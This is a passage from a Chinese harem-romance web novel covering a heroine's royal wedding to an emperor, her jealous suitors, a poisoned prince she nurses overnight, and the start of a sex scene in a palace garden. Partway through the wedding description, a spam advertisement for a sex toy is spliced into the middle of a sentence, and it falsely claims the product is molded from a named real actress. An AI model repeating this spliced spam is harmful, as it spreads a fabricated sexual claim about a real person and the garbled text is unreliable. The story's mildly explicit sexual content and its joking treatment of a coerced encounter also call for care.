热门搜索


[玄幻]后宫好乱(全本)-30

  
正文 璃月大婚

璃月一看来的竟是燕瑝,顿时头痛。

话说这家伙是属狗的么?她明明没有请他还一路寻味过来?

话说这家伙莫非欠扁么?看看桌上这几只,除了慕容倦之外谁不对他怒目而视?就差掀桌了。

想起慕容倦……

她忍不住自嘲,都是快嫁人的女人了,竟然还为了另一个男人的无动于衷而隐隐伤怀。她果然天生就是多情的种啊!

可怜的燕瑝!

理了理思绪,她讪讪开口:“你怎么来了?”

见璃月似乎有些不太高兴,燕瑝莞尔一笑,道:“其实我是来付账的。”言讫便欲走过来,不想刚迈步,银光一闪,月牙般的刀刃抵上了他的脖子。

叶千浔按捺不住出手,玉无尘和苏吟歌立刻做出一副看好戏的模样,唯有慕容倦神情紧绷。

璃月也惊了一跳,道:“叶千浔,你干嘛?”

颈动脉几乎紧贴着那吹发断金的锋利刀刃,燕瑝却浅笑着开口安慰璃月:“莫担心,吃醋而已,男人的心情,我理解。”

“闭嘴!”他一开口,叶千浔更来气了,转头看着璃月道:“璃月,我跟你说过,我不在乎你以前爱过什么人,现在爱着什么人,或者将来还会爱上什么人,只要你对我有爱,我就会留在你身边。但,如果你要嫁人,不管你嫁几个,必须先嫁我!”

一语既出,四下无声。

叶千浔扫视一圈盯着他看的几个男人,梗着脖子道:“这么看我干嘛?还做着独占璃月春梦的赶紧滚蛋,我叶千浔头一个不答应。”说着,手中的刀锋又向燕瑝的脖颈靠了靠,大声道:“包括你在内!”

燕瑝无奈,脖子向后仰了仰,道:“有话好说,你要一时失手真的割伤了我……今天这酒钱谁付?”

听到如此具有威胁性的一句话,连一直心如死水的慕容倦都忍不住嘴角抽了抽。

苏吟歌抱着双臂挑着眉梢,用挑剔的目光上下打量着叶千浔,道:“其实我只想问,他娘的凭什么璃月只能先嫁给你?”

“两个原因。”叶千浔底气十足地开口,“第一,论年龄我最大。”

“请问叶宫主今年高寿?”苏吟歌继续寻衅。

“二十有一。”争地位的关键时刻,叶千浔也懒得去挑他话中的刺了。

“呃呸!二十一就敢在这咋呼最大,我真想一脚闷死你!那边二十二的还没开口呢。”苏吟歌骂道。

叶千浔循着他的目光看了慕容倦一眼,话说这家伙化名曲流觞的时候倒还给过他一些威胁感,做回慕容倦后在璃月这方面对他的威胁感几乎为零,所以他倒忽略了还有这么一号人物存在。

“他那叫老,不叫大。”凡是关乎璃月的事,叶千浔都觉得自己的思维非一般的快。

“噗……”一旁坐壁上观的璃月终于喷了,抬头看了看对面的慕容倦,发现他目光只看着搁在燕瑝脖颈上的刀刃,仍是面无表情,端的好定力。

苏吟歌翻了个白眼,道:“胡搅蛮缠的祖宗!第一条不成立。第二呢?”

“我是她第一个男人。”秉着语不惊人死不休的态度,叶千浔再次无所畏惧地开口。

场面瞬间静默下来。

璃月无奈抚额,这个大嘴男,要不要把细节也跟他们说一遍?

就在她抚额的当口,一直波浪起伏的醋缸彻底宣告打翻!

先是燕瑝突然向后一个肘击,瞬间从他的挟制下挣脱出来,不等叶千浔追击,这边又有两个人扑了上去,只听苏吟歌骂道:“得了便宜卖乖,你怎么不去死?你个混蛋,定然是用武力强迫她的!”

璃月顿时感动流涕,到底还是苏吟歌了解她,一开始的确是强迫的啊,不过……是她先强迫的他然后换他反扑而已……

“你就嫉妒吧!你强迫一下我看看?哼!”叶千浔大声辩解着,转眼间三人便混战一处,小小的酒馆里鸡飞狗跳一片混乱。

思虑一回,璃月抬头,却发现玉无尘好端端地坐在一旁,顿时起疑,方才不是两个人扑过去吗?玉无尘没去,那……

慕容倦,原来他一直在憋着么?现在终于憋不住了么?

连他都憋不住了,那么其他人心里又作何感想?

璃月偷瞄一眼玉无尘,却见他低眉垂首,如玉长指在酒杯沿上缓缓摩挲,不知在想什么。

燕瑝缓步过来,正欲开口,璃月却对他做了个噤声的手势,看看那边,慕容倦正面进攻,苏吟歌在一旁见缝插针地射他的毒针,叶千浔左推右挡上蹿下跳,打得热火朝天。

璃月站起身,拉过燕瑝蹑手蹑足地隐进通往酒馆后院的侧门,一溜烟地跑了。

来到空无一人的古城小巷中,璃月松开他的手,他却反被动为主动,一把握住了她的手。

璃月仰头看着身侧的他,问:“燕瑝,我不瞒你,即便与你成亲,我心中也是无法彻底放下他们的。”

“我知道。”燕瑝波澜不惊。

璃月有些惊讶,问:“你不介意?”

“你信吗?其实在我心里,男女不过生理有别,在其他方面,都是平等的。不要那样看我,我知你不信,但这却是我的真心话。这一切,细想,应该要归功于我的母后,长大后,为了权力,我恨她怨她胜过爱她。然而,就是这次政变,我从西武回来,直接去雄州找胡幼安,阅兵台上,我看着那黑压压的十万甲兵,看着气势雄壮的金戈铁马,想到我兵锋所指的不是别人,而是我的母后,那一刻,我心中不是豪情万丈,也不是纠葛矛盾,那一刻,我想起了我小时候。

从我有记忆以来,很少见到父皇,他身体不好,每天除了上朝便是在寝宫疗养。我五岁的时候,母后还只是懿妃,那时我什么都不懂,只知道后宫里有好几个女人都比母妃地位高,母妃见她们都要行礼,最大的那个叫做皇后。

那时也是幼稚,不过看着喜欢的一位太傅被皇后所出的皇弟抢走了,我便能半夜惊醒,哭着要见母妃。

原以为母妃不会来,但她却来了。见我哭了,她搂着我的头,问我为什么?我说,我喜欢的太傅被皇弟抢走了。她沉默了好一会儿,然后说了一番我今生永远也不会忘记的话。

她说,哭吧,眼泪流得越多,你被抢走的就会越多。母亲能给你生命,但也仅此而已,世上的好东西千千万万,想要自己去争。饿了,饼悬在墙上,别人各自想办法去了,你却站在这里哭,等你哭完,饼早进了别人的肚子。

燕瑝,你要记住,虽然你现在只有六岁,但作为皇子,你没时间去哭,想哭了,去写字,去舞剑,去找小太监练摔跤,甚至戏耍小宫女也行。千万,千万不要让你的父皇,看到你哭。

我被她说的忘了哭。

她赞我一句,然后抱着我看着窗外,语音轻轻道‘母妃最多能为你搭架长梯,至于能不能爬上去,要看你自己。’

那是我第一次模糊地意识到我的身份赋予我的责任和压力。

随后几年,宫中能让母妃行礼的人越来越少,能抢走我东西的人也越来越少,最后,只剩皇后和我那唯一的皇弟。

九岁那年,在一次射箭比赛中,皇弟比我稍逊一筹,落败告终。他恼羞成怒,临走之际指着我道‘别得意,到时候你第一个死!’

当时他才八岁,我并未将他的话放在心上,直到一年后父皇驾崩,后宫剧变,我想起他那时那句,才知他并非开玩笑。

可惜,最后第一个死的是他而不是我。但我知道,反之亦然。

是母后保护了我,也保护了她自己。

我顺着母后搭好的梯子爬上了皇位,如今,只不过她扶着梯子的手还未收回,我便怒了,恨了,反了……

我恨自己忘恩负义不忠不孝。

反思,这皇位即便让母亲坐了又如何?父皇给了我生命,留下一座江山,然保住我这条命再将江山交到我手中的却是母后,从某种意义上来说,母后在我生命中扮演的角色远比父皇更强大也更真实。”

说到这里,他仰头,轻轻叹了口气,接着道:“人的觉悟总比行动慢一拍,我庆幸我没有落到不可挽回的地步才去觉悟。以前,我对她在宫中养有男宠一事深恶痛绝,将心比心,若是我独自一人寂寞十数年,想必也是渴望另一半的,即便没有感情上的共鸣,生理上的需要却是人之本能,任何的道德法律都不该扼杀人的本能。我正是为她改变了一贯被教条束紧的男女观念。

男人可以三妻四妾甚至三宫六院,这种传统由来已久深入人心,但即便广为人们接受,也不一定就是合理的,试问,那些与人共侍一夫的女子就必定个个开心么?只能说一个愿打一个愿挨。一生一世一双人,固然令人艳羡,却并非人人都有这个福分。爱了,不能放手,又不能独占,唯有求那齐人之福而已。

既然男人能这样,女人为何不能?只不过因为冲破了世俗教条,这就意味着女人和男人都要承受超乎常规的压力而已。为了所爱,男人的心胸要更宽广,要容得下与自己一样付出感情做出牺牲的情敌。而女人,除了需要具备让男人们即便与人分享也不愿放手的魅力外,更多的,应是能不惧世俗眼光特立独行。璃月,你做好准备了么?”他洋洋洒洒地说完,转头看着璃月问,眸中含着隐隐笑意。

璃月瞠目结舌地看着他。

说实话,长久以来,她表面洒脱,可内心其实一直在为放不开这个又舍不得那个而纠结,她也曾想过自己是否能将自己喜欢的这些男人都收入囊中,建一座属于自己的后宫。可每每想到这些,再想想他们明争暗斗醋海生波的样子,都觉得自己此念简直就是异想天开。

想不到,第一次将她的异想天开化作语言的蓝图并讲得丝丝入扣合情合理的人,竟然是身为一国皇帝的燕瑝。

这样的口才,即便不做皇帝,当个外交官估计也能在官场上混得风生水起。

都说宰相肚里能撑船,依她看来,燕瑝的肚子里能让宰相们赛龙舟。

她呆了半晌,好不容易反应过来,还未开口,却又听燕瑝拔高了音量道:“玉公子,对燕某这番话,你意下如何?”

璃月一愣,猛然回头,果然是玉无尘悄无声息地跟在身后。

见两人回头,玉无尘似有些无所适从,迟疑片刻,道:“璃月,我有话对你说。”

燕瑝放开璃月,站在原地看着两人走到不远处水渠旁。

不过几句话,玉无尘的表情便不正常起来,盯着璃月,雪白的衣袖轻轻颤动,最后极为痛苦地皱起长眉,转身云一般飘远,那模样……类似掩面泪奔。

璃月看着他消失在小巷尽头,然后眸中抑着一丝恶作剧成功般的得意,一脸轻松地向燕瑝走来。

“玉公子是内急么?”燕瑝笑问。

“嗯。”璃月嘴角弯起微笑,死家伙,居然跑来问她什么时候和叶千浔在一起的,她当场回他一句“和你决裂的那夜”,他不泪奔谁泪奔?

“这么说,今天你是特意来宽慰我的?”走到燕瑝面前,璃月继续方才的话题。

“不。”燕瑝收起了笑意,目光如针,探入璃月眸底,道:“我想知道,那夜我到宣武殿之前,你和我母后在宣武殿干什么?”

璃月眸光一滞。

“母后从不是感情用事的人,我可不会相信是我对你的爱感动了她,所以她才会用娶你来作为放权的条件。你与我母后见面不过几次,我很想知道,她为何如此看重你?”燕瑝温润的目光后暗藏犀利。

“我爱你。”璃月垂着眼睫,轻轻道。

燕瑝一愣。

见他没反应,璃月抬起头来,看着他乌黑的瞳孔,重复:“燕瑝,我爱你,你母后也爱你。你……还想知道什么?”

燕瑝僵了半晌,突然伸手,一把将她拥入怀中,抱得紧紧的,难抑激动的声音响在她耳畔:“不想了,如此,足矣。”谁都有秘密,他不能要求她在他面前透明如水,正如他永远无法知道,以前他母后每一次看着裴延熙走神是出于什么原因。

但,只要知道她们都是爱他的,便够了。这才是最重要的。

璃月伸臂环住他的腰,脸贴在他胸前,闭上双眸,心中暗祷:表哥,因为爱你,所以我尽我所能地保护你,望你能体谅我一片苦心,从今后不要多想,不要多问。好好守住你的江山,守住你的母后,便好。

……

玉无尘得知璃月是因为当日与自己决裂一气之下才与叶千浔在一起的事实后,心伤难愈,连夜便返回了西武。

慕容倦和燕瑝可算自幼相交,换命的兄弟,璃月要嫁燕瑝,即便他心中痛苦,也不好表现出来。

剩下叶千浔和苏吟歌两人,打过几架之后也冷静了下来,知道璃月心意已决,即便他们再闹,怕也无力回天了。

想走,想起没几天便是璃月与燕瑝大婚之期,又迈不开步。

想留,可心里生疼生疼的。

两人住在古城同一家客栈,由一开始见面就打架逐渐演变为见面就喝酒,几天功夫,便为酒鬼队伍又添两名精英。

……

大婚之日,举国欢腾,永安沸腾。

裴青瑶到底不是无情之人,借皇帝大婚之名大赦天下,连两个月前试图逼宫的琛王裴邦卿也放了,只不过,他不能再住在永安。送他出城之际,裴青瑶曾与他长谈过一次,出门时,有太监看到琛王爷的眼睛红红的,似乎哭过。

皇帝大婚的礼仪多到几乎让璃月抓狂,顶着华丽厚重的凤冠霞帔,璃月在宫妇的引领下从天不亮一直忙活到下午,刚忍不住要发飙,好在忙里偷闲从凤冠前面挡脸的宝石流苏后偷看了一眼燕瑝,然后发现今日的他一身龙袍神采飞扬,帅得让人恨不能鼻血口水一起流,于是也就耐下了性子。

折腾到半下午的时候,璃月突然看到了解脱的曙光,司仪官说,请皇帝皇后到宫门外的龙凤台上受万民朝拜给万民赐福之后,便算礼成了。

成婚当日去宫外受万民朝拜是东仪皇室历代延续的规矩,而给万民赐福实际就是赐万民宴。

踏着红毯去宫外,皇帝和皇后可以手牵手以示恩爱。燕瑝刚过来牵住璃月的手,璃月便低声抱怨:“瑝瑝,这凤冠是不是纯金的啊?他娘的也太重了,我脖子酸死了,摘掉了算不算对万民不敬啊?”

燕瑝闻言,在一众惊异的目光中伸手将璃月头上镶着南珠嵌着宝石的凤冠摘下来,丢给一旁的宫女捧着。

司仪官:“皇上……”

“谁造的这顶凤冠?想把皇后的脖子压坏吗?明天叫他来见朕。”燕瑝语气不善。

底下人见状,立马噤声。

璃月暗中掐着燕瑝的掌心,低声偷笑:“假正经。”

燕瑝正正神色清清嗓子,一本正经地在璃月耳边私语:“如果这是去洞房的路上多好。”

璃月憋笑憋得辛苦,狠狠地掐了他一下。

迎着八月午后灿烂得耀眼的阳光,璃月红裳迤逦地和燕瑝一起登上了那座六丈多高的龙凤台,台下,成群的侍卫呈半月形将人群与高台隔开,放眼望去,皇宫前巨大的广场上密密麻麻地站满了前来瞻仰皇帝皇后的永安百姓还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入。

站在人群中央感受着万丈荣光,璃月心中却不由的担心,担心叶千浔苏吟歌等人是不是也正在下面仰望着她?他们会不会因为这一幕伤心痛苦无法纾解?

她不知道的是,今天天刚亮,慕容倦便抱着一坛他雪藏已久的陈年佳酿去了叶千浔和苏吟歌下榻的客栈,此刻,三人已横七竖八地醉了一地。

燕瑝和璃月刚刚在台上站稳,便听一名声音极具穿透力的太监拖长了尾音高声道:“拜——”

广场上乌压压的人群呼啦一声全部矮了下去,山呼万岁。整齐划一的动作,响遏云霄的声浪,站在高处看着听着,那种高人一等,芸芸众生皆在脚下的尊荣感油然而生。

也许就是因为这一刻的感觉太过震撼人心,太过迷人,所以各国皇室才避免不了兄弟相残,父子相争,帝位更替……

璃月正出神,冷不防耳边捕捉到一丝异响。

“月姐姐……月……咳,月姐姐……”

这一丝声音夹杂在百姓山呼万岁的声浪中委实渺小而可怜,可她坚信自己没有听错,当即垂眸在人群中寻找声音源头。

果然,广场右侧临近龙凤台的地方,有几个人并没有下跪,见她转头看去,还有个人冲她挥了挥手,然后,向后便倒。

璃月错愕。

小、小粉嫩?

正文 有惊无险

璃月眼看着金缕倒下去,以他为中心那一小圈乱了起来,而她却不知道发生了什么事,当即用只有燕瑝听得见的声音低语道:“燕瑝,那是南佛太子金缕,好像晕过去了,你派人先把他安顿起来可好?”

燕瑝二话不说,招手让侍立一旁的太监过来,吩咐两句,太监疾步向台下奔去。

仪式结束回到皇宫,璃月被送入麟德宫,然没一会儿她便换上常服溜了出来。

皇宫之侧用于招待外邦皇室及官员的行宫内,璃月到时燕瑝已经在了,修身玉立在窗口,一名老态龙钟的御医正向他汇报着什么,另有五六名御医聚在床尾窃窃私语,李逝一行面色憔悴地立在床头,担忧地看着无声无息躺在床上的金缕。

璃月进门便直接走到床边,见金缕面如金纸气若游丝,愣了愣,按着心中焦急回身问燕瑝:“他这是怎么了?”

燕瑝走过来,看了金缕一眼,道:“御医说他身中奇毒,疲劳过度加上毒发,只怕……”

他话没有说完,但璃月听懂了,心中咯噔一声,转而看向李逝等人,问:“怎么回事?”

李逝嗓音沙哑面色青黑,显然已经好久没有好好休息过,听得燕瑝的话,几欲晕过去,仅凭过人的毅力硬扛着,然眼眶中却泛起了泪花,道:“听到秦姑娘你的婚讯,殿下他根本平静不下来,任凭谁劝都不顶用。这一路奔来……毒发吐血才停下,休息不到一个时辰就又出发……属下们真的没有办法……”

璃月呆了,转眸看着床上的男人,昔日粉嫩嫩的脸颊早已清瘦了一圈,向来红艳的唇也起了皮,嘴角似乎还有未擦净的血丝。

为了她,他连命都不要了么?尽管一直知道他对自己是动了真情的,但她从未想过他竟然痴心到这种地步。

伸手抚着那已不饱满的冰凉脸颊,她几欲落下泪来。

毒发……毒发!

璃月心中一颤,转身叫道:“去,快去把苏吟歌找来!”

上天保佑,保佑他还没离开永安,保佑他身上带着解药。

得了燕瑝的命令,御前侍卫亲自出马,来到古城苏吟歌下榻的客栈,推开酒气熏天的房间,在趴在桌上和躺在地上的三只醉鬼间挑挑拣拣,最后拎出一只,扛着就回皇宫复命去了。

看到醉得人事不省的苏吟歌,璃月也无心去想他为何醉成这样了,命人端来一盆冰水,当头就淋了下去。

苏吟歌打了个寒战,却仍是迷迷糊糊。

“苏吟歌,苏吟歌,快点醒过来!”璃月拍打着他的脸,终于让他闭着的双眸睁开了一条缝。

“你们都退下。”燕瑝吩咐殿中的御医与宫女太监。

众人领命,鱼贯退出大殿。

苏吟歌涣散的眼神慢慢聚拢到璃月脸上,看清她之后,突然伸手一把将她拥入怀中。

燕瑝侧眸,他就知道会是这样的结果,所以才提前屏退下人,至于金缕那些手下……人家的主人正生死不知,叫他们离开显然不近人情,罢了,反正丢脸不丢在自己手下面前就好。

“璃月,我就知道,你只是生我的气,所以才答应嫁给燕瑝对不对?我错了,我再不利用你了,再不跟金缕争了,你回来,回来好不好?”他抱着璃月,大着舌头说着清醒时绝不可能轻易出口的肺腑之言。

此时此刻,璃月也顾不得尴尬了,推开他环着她的手臂将他拖到床前,指着金缕道:“救他,救活他我就原谅你。”

醉酒的人真是不可理喻,前一刻还在璃月面前信誓旦旦不再和金缕争,后一刻看到躺在床上的金缕,却又立刻反弹:“他怎么还没死?祸害遗千年,我才不救他!”说着抽身后退,却不料四肢不听使唤,当场摔了个四脚朝天。

璃月再接再厉扑过去将他拖到床边,扳过他的脸看着他的眼睛,道:“苏吟歌,我不管你现在醉得多厉害,我要你救他,立刻,马上!如果他有个三长两短,我一辈子也不原谅你!”

虽然醉得稀里糊涂,然而璃月的威胁却依然奏效,可想而知,在他心里,璃月的淫威已经大到了何等地步。

此时的他委实没有行动能力,燕瑝只好将外面的御医叫进来,他说解药配方,御医们记录研制。

醉着酒还能说出由五十三味草药配制而成的解药配方,且每一种的用量说得一清二楚,待将方子记完,御医们看向瘫在床沿上的苏吟歌的目光简直可以用膜拜来形容。

事实证明,东仪皇宫御药房的效率是很高的,苏吟歌说得熬药时辰刚到,药便端来了。

事实还证明,苏吟歌的毒,果然只有苏吟歌才能解。药给金缕灌下去后,不到半个时辰,金缕的脸色便缓了过来,呼吸也平稳有力了。

璃月这才松了口气,命人将早已睡死过去的苏吟歌抬走,转头看看窗外已暗的天色,突然想起今夜是自己和燕瑝的洞房花烛夜,目光扫向站在一旁从头至尾都积极配合毫无怨言的燕瑝,璃月心中闪过一丝愧疚,刚想起身和他一起回麟德宫,冷不防一只手伸来,精确无误地抓住她的手腕。

璃月回头一看,却是金缕,满头大汗地在枕上辗转,嘴里喃喃道:“月姐姐……月姐姐……不要走……”

璃月只得重新在床沿坐下,轻拍他胸口,安抚道:“粉嫩,我在这儿,我不走,睡吧,啊。”

金缕好像听得见一般,真的慢慢就安静了下来。

璃月耐着性子等了片刻,轻轻将手腕从他掌中抽出,还没来得及起身,只见原本正沉睡的他皱了皱,手一握,发现掌心空无一物,立刻不安分地一边凌空乱抓一边哑着嗓子轻唤:“月姐姐……月姐姐……”

璃月皱眉,燕瑝却招来侍立一旁的近身太监,示意他将手腕放到床边去让他抓,太监依言而行,然而金缕一握在手里又立马放开,继续皱着眉头一边叫一边乱抓,额上的汗冒了一层又一层。

燕瑝又招来一名宫女,金缕也只抓一下,便知不是璃月。

燕瑝皱着眉头,看着躺在床上双手乱挥的金缕,指示候在一旁的御医:“去看看,他到底是昏着还是醒了?”

御医还未走近,却见金缕胸膛一震,突然咳出一口血来,双臂便软软地垂了下去。

璃月惊了一跳,问御医:“不是好了么?怎么还咳血?”

御医诊完脉,行礼答道:“回皇后娘娘,毒虽解了,然他元气大伤,短期内是不可能痊愈的,需慢慢调养才好。”

璃月转眸看着金缕,虽然没有声音,然那带血的唇角分明还在翕动,无力举起的手在床沿一点一点地摸索,一点一点地移动,那模样,要多可怜有多可怜。

看着他一副不找到她誓不罢休的模样,璃月的心几乎在瞬间便酸酸地软了下来。

屏退御医,她坐在床沿,将手伸过去,他抓住,很神奇的,几乎立刻便安静了下来。

璃月回眸看燕瑝,眸中带着恳求的光芒,意思不言而喻:让我照顾他这一夜吧,求你了。

此情此景下,燕瑝能说什么呢?

……

次日一早,燕瑝上朝去了。

裴青瑶起了个大早,精心打扮好后便等着璃月来给她这个母后请安。

左等也不来右等也不来,着邬佳去探探消息,得到的回报却是:皇后一整夜都呆在行宫内没回来。

裴青瑶当即眉头一皱,这是跟她玩阳奉阴违的把戏么?

立刻传下命令摆驾行宫。

*

行宫内,璃月斜倚在床框上,一觉醒来只觉腰腿酸痛浑身不爽,想伸手揉揉,却发现手被握着。

这才想起床上还躺着个金缕。

扭头一看,金缕已经醒了,正睁着一双秋水潋滟的眸子看着她。

“哦,你可醒了……”璃月松了口气,昨晚她守夜,见李逝一行实在累得不行,便让他们休息去了,故而此刻殿中只有他们两人。

金缕怔怔地盯着她,不说话。

璃月见他神情异常,伸手去摸他额头,自语道:“该不是神智还没清醒吧……”

一语未完,金缕忽然伸手将她抱在胸前,哽咽道:“月姐姐,我知道我错了,你不要嫁给燕瑝,不要不理我。月蛊的解药我带来了,你去给苏吟歌,去给慕容倦,我不等了,即便做不成皇帝也没关系,只要有你就好。月姐姐,以后不管你说什么我都听,我都照办,我再不使心计了,再不算计苏吟歌他们了,我会听话的,你原谅我好不好?”

带着哭腔的沙哑嗓音,微颤地呢喃着语无伦次的话,怎么听怎么让人心酸。

想起昨日他赶到时几乎一命呜呼,听着他此刻简单混乱的肺腑之言,她清晰地感受到了他心中对于失去她的深刻恐惧,心头淌过感动的暖流,她从他胸前支起身子,笑着捏捏他的鼻头,道:“看看你,把自己折腾得这么丑,让我怎么要你?”

金缕愣了愣,脸上还挂着泪,急忙道:“月姐姐,我会养好的,我保证我会养好的。”

“那好,等你什么时候恢复了花容月貌,我再来答复你。”璃月语带俏皮地说完,正想叫殿外的宫人进来伺候,一转身,吓了一跳。

裴青瑶和邬佳不知何时进来的,也不知听去了多少?璃月虽无所畏惧,但新婚第二天便背着自己的夫君和另外一个男子说这些话,怎么想都有些不好意思。

裴青瑶无视她的不自然,兀自走到床边,眸光挑剔地将金缕从头看到脚,抛出一句:“最看不上哭哭啼啼的男人。”

转过身,她看着璃月,道:“今日你该叫我什么?”

这是笔你情我愿的交易,既然都已经嫁给了燕瑝,再藏着掖着便是矫情了。

璃月乖巧地行了一礼,道:“见过母后。”

明明日思夜想地盼这句话盼了多少时日,今日终于如愿以偿,裴青瑶感觉到的却并不是开心。

胸中情绪翻腾得厉害,眸中突然就泛起了一层泪光,她掩饰般侧过身去,一边向外走一边道:“这臭小子哪有我们皇上好,可别看走了眼。”

适才金缕和璃月的对话,她一字不落地全听了去,虽然寥寥几句,却已经将璃月和他的关系基本交代了清楚。

见自己的亲生女儿如此抢手,她心里自是骄傲又得意,只不过,当娘的,自然是看自己一手养大的儿子比较顺眼。

璃月看着她近乎仓惶离开的背影,心中有些涩痛。

叫出“母后”的那一瞬间,她捕捉到了她眸中闪过的泪光。

这些年,虽未和东仪太后有太多接触,然而对于她不逊于男人的处事风格和铁血手段的传言却听了不少。

不过简简单单两个字,从自己口中叫出来,竟让这位堪称东仪历史上传奇人物的摄政太后眸中泛上了泪……

璃月垂下眸去,咬着唇双手无意识地捏紧……

*

燕瑝下朝后直接来了行宫,看到所有太监宫女都站在殿外,他便知殿里指定正在上演不足与外人看的戏码。

取消通禀,将随行太监留在殿外,他独自走进行宫。

床上,金缕正缠着璃月给他喂药,一脸乖顺的样子。清灵的眸光本来一直含情脉脉地黏在璃月脸上,燕瑝踏入殿门的一刹,他便移过目光,然后一僵。

金缕和燕瑝虽然未曾谋面,却通过手下交流过,且,金缕当年利用他留给璃月的玉佩在东仪开发铁矿锻造兵器,武装了准备用来对付金威的人马,也算是托他的福。只是他无论如何想不到,自己心爱的女人竟然会嫁给了他。

此刻见面,两人心中情绪都有些复杂,碍于璃月在场又不能表现出来。

璃月循着金缕的目光回身一看,见是燕瑝,思及昨天大婚之夜自己却留在这里照顾金缕,正不知该对他说什么,燕瑝却先自扬起一抹温润微笑,道:“看来金太子恢复得不错啊。”

金缕目光闪了闪,道:“多谢皇帝陛下援手。”

燕瑝风度翩翩地走过来,道:“金太子不必客气,只是朕的皇后一夜无眠怕是累了,还是让朕来代劳吧。”说着,便要去接璃月手中的药碗。

想象着他一个大男人用汤匙喂自己喝药的样子,金缕寒了一下,急忙伸手道:“我自己来吧,就不麻烦陛下了。”

“既如此,”燕瑝脸上微笑不变,转首向璃月道:“皇后,你出来一下,朕有话对你说。”

金缕端着药丸,看着两人消失在宫门处的身影,无辜的神情变得凝重。

自己此番兵行险招,虽然还不清楚璃月为何嫁给燕瑝,可毕竟弄清了璃月的心意,知道自己在她心中还是有分量的,起码她会为了照顾自己在大婚之夜丢下自己的新郎不是?

可这个燕瑝……当真是闻名不如见面,见面就是威胁啊。

他掌握着对付璃月这种女人的终极杀手锏——大度。

试想,昨夜璃月为了他让燕瑝这个新郎官独守空房,换做一般男人,即便昨天看在璃月面上勉强退让,今日见他也决计不可能有好脸色。

可看看燕瑝,笑得多么温润自然,那要过来接替喂药的提议多么宽容体贴……他敢打包票,现在璃月心中必定愧疚感动得要死,只想好好补偿他。

大度……一开始他也想装来着,可是真的好难!看见璃月和别的男人在一起他就濒临抓狂。

燕瑝能做到这样,要么他就是太腹黑,要么他就是真大度。

他真希望燕瑝是太腹黑,只要是假的,早晚便会被揭穿,如果是真的……他拿什么去跟他争啊?一个貌似根本没把你当回事的人,你要怎么去跟他争?

……

出了殿门,燕瑝拉着璃月,一边大步流星向皇宫走一边对侍立殿外宫女太监道:“你们进去好生伺候着。”

他人高腿长,迈起大步来璃月还真要一路小跑才跟得上。

“喂,你不是说有话要讲?”跑了一会儿,璃月见他只是闷头赶路,毫无开口的意思,忍不住问。

燕瑝侧过头来,眸中隐着笑意,道:“我有话说,也有事做。”言讫,继续拉着她向皇宫进发。

“什么事?”璃月问。

燕瑝不答,来到皇宫御花园,屏退身后的太监总管,一把将璃月搂到身边,道:“大婚之夜让我独守空房,你说我要做什么?”

“呃……”璃月语噎,他拉着她,向湖心那座水榭奔去。

刚走进轻纱环绕的榭中,他一把打横抱起她,阴森森道:“小美人儿,是你主动补偿我还是要我惩罚你?”

璃月瞠目看着与平时判若两人的他,惊道:“燕瑝,你被附身了吧?”

燕瑝闻言,哂然一笑,道:“正常男人都有两面,一面君子一面禽兽,君子面给外人看,禽兽面给爱人看。”

“去你的!”见他说的一本正经,璃月笑着打他一下,却也同时被他放在了榭中铺着玉簟的长榻上。

燕瑝俯身下来,伸手将她额侧的发丝理顺,问:“听说母后上午去了行宫,她有没有说什么?”

璃月伸手勾住她的脖子,摇摇头,低声笑问:“你带我来这里就是为了问这个么?”

燕瑝也笑:“这不过是题外话。”

看着他近在咫尺的温润脸庞,璃月眼角漾起妩媚的风情,问:“那题内话是什么?”

“题内没话……”燕瑝俯下脸,吻住了她嫩红的唇瓣。

再温文尔雅循规蹈矩的男人,也有热情似火的一面,也就是燕瑝说的禽兽面。

璃月本以为,按燕瑝的性格,当是会用他那双素净修长的手,铺开宣纸一般轻柔地解开她的衣衫,再以描画丹青般的手法优雅地抚弄她的肌肤,一点一点唤醒她的热情……就像吃大餐一般,按部就班有条不紊。

然而事实却告诉她,在他眼里她的确是大餐,只不过,他不是彬彬有礼的贵族,而是饥饿已久的猛虎。

一番热切深吻下来,璃月喘息着仰起小脸,任由他转移阵地吻上她的脖颈。她几乎承受不住他近乎狂烈的需索,然而他的这种迫不及待,却激发了她本能的性感因子,她不由自主地想知道,自己到底能让这个九五之尊的男人疯狂到何种地步?

于是,平复了气息之后,她开始回吻他,他的额他的眉,他的鬓角他的脸颊……

燕瑝还带着她肌肤幽香的唇立刻反扑,两人倒在长榻上,都把对方当成了饥渴中甘泉,迫不及待地啜饮需索。

急促的呼吸犹如那随着微风轻轻鼓荡的白纱,此起彼伏,璃月上半身的衣襟已经被扯开,露出了雪滑粉嫩的玉峰,燕瑝埋头下去,婴孩般吸吮舔舐。

“嗯……”璃月难耐地揪着他的长发,曲起腿磨蹭他。

燕瑝动作不停,一手伸到她腰间要解她的腰带。

璃月却突然挣扎起来,按着他的手道:“不要在这里。”

燕瑝恋恋不舍地从她身上抬起头来,玉白的双颊晕着一丝粉润,褪去了帝王的威严换上了一抹少年的青涩,抑着喘息看着璃月娇红妩媚的小脸,问:“怎么了?”

璃月看看四周近乎透明的白纱,撅唇道:“我可不想被人偷窥,看活春宫。”

燕瑝无奈,只好起身收拾一下,准备带璃月回麟德宫好好温存。

对于情欲勃发正在兴头的两人来说,去麟德宫的路无疑太远了,还未走出御花园,一路上两人便在无人的树荫下,芭蕉后拥吻了无数次,有一次两人正靠在一棵树干后吻得难分难舍,耳边突然传来隐隐的说话声,两人循声看去,却是一队宫女从远处走来。

两人惊了一跳,此时出去,两人都脸泛红潮衣衫凌乱,被宫女看见的话,以后还怎么树立威信?只能躲。

恰好不远处有座假山,两人一溜烟地向那边跑去,跑到假山后却发现,山后还有座十分隐秘的蔷薇花架。

这花架显然被人无视已久,繁茂的花枝将花架从四面八方整个包了起来,东仪气候偏寒,时值八月,那蔷薇还开得如火如荼,一眼看去,活脱脱一座现成的花房。

两人互望一眼,转身便钻进了花繁叶茂的花架之中。

正文 蔷薇花下

话说璃月与燕瑝两人钻进那浓荫覆盖的蔷薇花架后,想起两人一个是当今皇上,一个是新任的皇后,亲热一下还弄得跟偷情一般,当即忍俊不禁笑了起来。

燕瑝环视一下四周,发现花架下还有石桌石椅,只不过久无人来,也都被蔷薇花藤给爬满了。

